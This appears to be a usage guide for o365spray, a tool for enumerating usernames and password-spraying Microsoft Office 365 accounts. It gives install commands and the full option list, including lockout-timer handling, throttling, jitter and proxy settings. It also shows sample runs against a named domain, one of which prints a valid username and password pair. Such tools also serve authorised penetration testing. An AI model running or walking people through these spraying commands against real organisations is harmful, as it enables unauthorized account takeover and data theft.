o365spray a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365). This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in Acknowledgments.
WARNING: The oAuth2 module for user enumeration is performed by submitting a single authentication attempt per user. If the module is run in conjunction with password spraying in a single execution, o365spray will automatically reset the lockout timer prior to performing the password spray – if enumeration is run alone, the user should be aware of how many and when each authentication attempt was made and manually reset the lockout timer before performing any password spraying.
git clone https://github.com/0xZDH/o365spray
python3 -m pip install -r requirements.txt
o365spray.py [-h] [-d DOMAIN] [--validate] [--enum] [--spray] [-u USERNAME] [-p PASSWORD] [-U USERFILE] [-P PASSFILE] [--paired PAIRED] [-c COUNT] [-l LOCKOUT] [--enum-module {office,onedrive,oauth2}]
[--spray-module {oauth2,activesync,autodiscover,reporting,adfs}] [--adfs-url ADFS_URL] [--sleep [-1, 0-120]] [--jitter [0-100]] [--rate RATE] [--safe SAFE] [--timeout TIMEOUT] [--proxy PROXY] [--output OUTPUT]
[-v] [--debug]
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.4
optional arguments:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Target domain for validation, user enumeration, and/or password spraying.
--validate Run domain validation only.
--enum Run username enumeration.
--spray Run password spraying.
-u USERNAME, --username USERNAME
Username(s) delimited using commas.
-p PASSWORD, --password PASSWORD
Password(s) delimited using commas.
-U USERFILE, --userfile USERFILE
File containing list of usernames.
-P PASSFILE, --passfile PASSFILE
File containing list of passwords.
--paired PAIRED File containing list of credentials in username:password format.
-c COUNT, --count COUNT
Number of password attempts to run per user before resetting the lockout account timer. Default: 1
-l LOCKOUT, --lockout LOCKOUT
Lockout policy's reset time (in minutes). Default: 15 minutes
--enum-module {office,onedrive,oauth2}
Specify which enumeration module to run. Default: office
--spray-module {oauth2,activesync,autodiscover,reporting,adfs}
Specify which password spraying module to run. Default: oauth2
--adfs-url ADFS_URL AuthURL of the target domain's ADFS login page for password spraying.
--sleep [-1, 0-120] Throttle HTTP requests every `N` seconds. This can be randomized by passing the value `-1` (between 1 sec and 2 mins). Default: 0
--jitter [0-100] Jitter extends --sleep period by percentage given (0-100). Default: 0
--rate RATE Number of concurrent connections (attempts) during enumeration and spraying. Default: 10
--safe SAFE Terminate password spraying run if `N` locked accounts are observed. Default: 10
--timeout TIMEOUT HTTP request timeout in seconds. Default: 25
--proxy PROXY HTTP/S proxy to pass traffic through (e.g. http://127.0.0.1:8080).
--output OUTPUT Output directory for results and test case files. Default: current directory
-v, --version Print the tool version.
--debug Enable debug output.
$ python3 o365spray.py -d offsec.nl --validate
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : offsec.nl
> validate : True
> timeout : 25 seconds
> start : 2021-11-03 20:52:48
>----------------------------------------<
[2021-11-03 20:52:48,396] INFO : Running O365 validation for: offsec.nl
[2021-11-03 20:52:48,652] INFO : [WARNING] The following domain is using O365, but is Federated: offsec.nl
[!] --> ADFS AuthURL: https://offsec.okta-emea.com/app/office365/
$ python3 o365spray.py -d offsec.nl -u john.do --paired usercreds.txt --spray-module activesync --spray
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : offsec.nl
> spray : True
> username : john.do
> paired : usercreds.txt
> count : 1 passwords/spray
> lockout : 15.0 minutes
> spray_module : activesync
> rate : 10 threads
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2021-11-03 21:00:26
>----------------------------------------<
[2021-11-03 21:00:26,533] INFO : Running O365 validation for: offsec.nl
[2021-11-03 21:00:26,736] INFO : [WARNING] The following domain is using O365, but is Federated: offsec.nl
[!] --> ADFS AuthURL: https://offsec.okta-emea.com/app/office365/
[2021-11-03 21:00:26,736] INFO :
[ ? ] Switch to the ADFS module for password spraying [Y/n] n
[2021-11-03 21:00:30,062] INFO : Running password spray against 1 users.
[2021-11-03 21:00:30,063] INFO : Password spraying using paired usernames:passwords.
[2021-11-03 21:00:30,498] INFO : [VALID] [email protected]:Welkom1234!
[2021-11-03 21:00:30,499] INFO :
[ * ] Writing valid credentials to: '/o365spray/spray/spray_valid_credentials.2111032100.txt'
[ * ] All sprayed credentials can be found at: '/o365spray/spray/spray_tested_credentials.2111032100.txt'
[2021-11-03 21:00:30,499] INFO : Valid Credentials: 1